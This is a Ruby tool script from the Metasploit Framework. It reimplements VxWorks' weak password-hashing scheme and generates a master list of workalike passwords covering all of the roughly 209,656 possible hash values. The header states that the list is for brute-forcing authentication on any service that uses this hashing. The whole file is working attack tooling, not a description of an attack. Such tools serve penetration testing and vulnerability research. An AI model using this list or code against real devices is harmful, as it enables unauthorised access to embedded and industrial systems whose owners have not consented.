metasploit-framework/tools/vxmaster.rb

204 lines
4.6 KiB
Ruby
Executable File

#!/usr/bin/env ruby
# $Id$
#
# This script calculates all possible password hashes for the vxworks platform.
# The generated list can be used to bruteforce authentication to any service
# using the vulnerable password hashing mechanism on the backend.
#
# (C) 2010 Rapid7
#
# $Revision$
#
# VxWorks converts the clear-text password into single integer value. This value
# can only be one of about 210,000 possible options. The method below emulates
# what the vxencrypt utility does and was implemented based on publicly indexed
# documentation and source code snippets.
# XXX: Newer VxWorks can use passwords up to 120 characters long, but this is
# not very common in the wild.
def vxworks_sum_from_pass(pass)
if pass.length < 8 or pass.length > 40
raise RuntimeError, "too short or too long"
end
sum = 0
bytes = pass.unpack("C*")
bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) }
sum
end
# VxWorks does a final round of "mangling" on the generated additive sum. This
# mangle process does not add any additional security to the hashing mechanism
def vxworks_hash_from_sum(sum)
magic = 31695317
res = ((sum * magic) & 0xffffffff).to_s
res.unpack("C*").map{ |c|
c += 0x21 if c < 0x33
c += 0x2f if c < 0x37
c += 0x42 if c < 0x39
c
}.pack("C*")
end
# This method tries to find an exact match for a given sum. This is inefficient,
# but the master password only needs to be precomputed once.
def vxworks_pass_from_sum_refine(sum, bsum, pass)
0.upto(pass.length-1) do |i|
tpass = pass.dup
while ( tpass[i, 1].unpack("C*")[0] > 0x21 )
tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C")
bsum = vxworks_sum_from_pass(tpass)
if bsum == sum
return tpass
end
end
end
0.upto(pass.length-1) do |i|
tpass = pass.dup
while ( tpass[i, 1].unpack("C*")[0] < 0x7c )
tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C")
bsum = vxworks_sum_from_pass(tpass)
if bsum == sum
return tpass
end
end
end
"<failed>"
end
# This method locates a "workalike" password that matches a given
# intermediate additive sum value.
def vxworks_pass_from_sum(sum, lpass=nil)
opass = lpass || "\x20" * 8
pass = opass.dup
fmax = (sum > 10000) ? 0xff : 0x7b
pidx = 0
pcnt = pass[0,1].unpack("C*")[0]
more = false
bsum = vxworks_sum_from_pass(pass)
if bsum > sum
return "<invalid>"
end
while bsum != sum
if bsum > sum
return vxworks_pass_from_sum_refine(sum, bsum, pass)
end
if pcnt > fmax
pidx += 1
if pidx == (pass.length)
pass += " "
end
pcnt = pass[pidx, 1].unpack("C")[0]
end
pass[pidx,1] = [ pcnt ].pack("C")
bsum = vxworks_sum_from_pass(pass)
pcnt += 1
end
pass
end
outputfile = ARGV.shift() || "masterpasswords.txt"
# Create the master password list output file
ofd = File.open(outputfile, "wb")
# Generate a wide range of "seeds" - the goal is to create a
# workalike password with the smallest number of characters,
# but still be printable when possible.
seedsets = []
seeds = []
8.upto(8) do |slen|
0x23.upto(0x7c) do |cset|
sbase = [cset].pack("C") * slen
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
end
end
seedsets << seeds
seeds = []
8.upto(12) do |slen|
0x23.upto(0x7c) do |cset|
sbase = [cset].pack("C") * slen
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
end
end
seedsets << seeds
seeds = []
8.upto(16) do |slen|
0x23.upto(0xf0) do |cset|
sbase = [cset].pack("C") * slen
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
end
end
seedsets << seeds
seeds = []
8.upto(16) do |slen|
0x23.upto(0xff) do |cset|
sbase = [cset].pack("C") * slen
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
end
end
seedsets << seeds
seeds = []
8.upto(40) do |slen|
0x23.upto(0xff) do |cset|
sbase = [cset].pack("C") * slen
seeds << [ vxworks_sum_from_pass(sbase), sbase ]
end
end
seedsets << seeds
# Calculate passwords and their hashes for all possible outputs
1.upto(209656) do |i|
found = false
seedsets.each do |seeds|
lhash = nil
seeds.reverse.each do |s|
if i > (s[0] + 1000)
lhash = s[1]
break
end
end
hash = vxworks_hash_from_sum(i)
pass = vxworks_pass_from_sum(i, lhash)
puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0)
# The first 1187 passwords are not very likely to occur and we skip
# generation. These are "sums" that result in a value lesss than a
# 8 digit password of all spaces.
if i > 1187 and pass =~ /<.*>/
# p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'"
next
end
ofd.puts "#{i}|#{hash}|#{pass}\x00"
found = true
break
end
if not found
puts "FAILED TO GENERATE #{i}"
exit(0)
end
end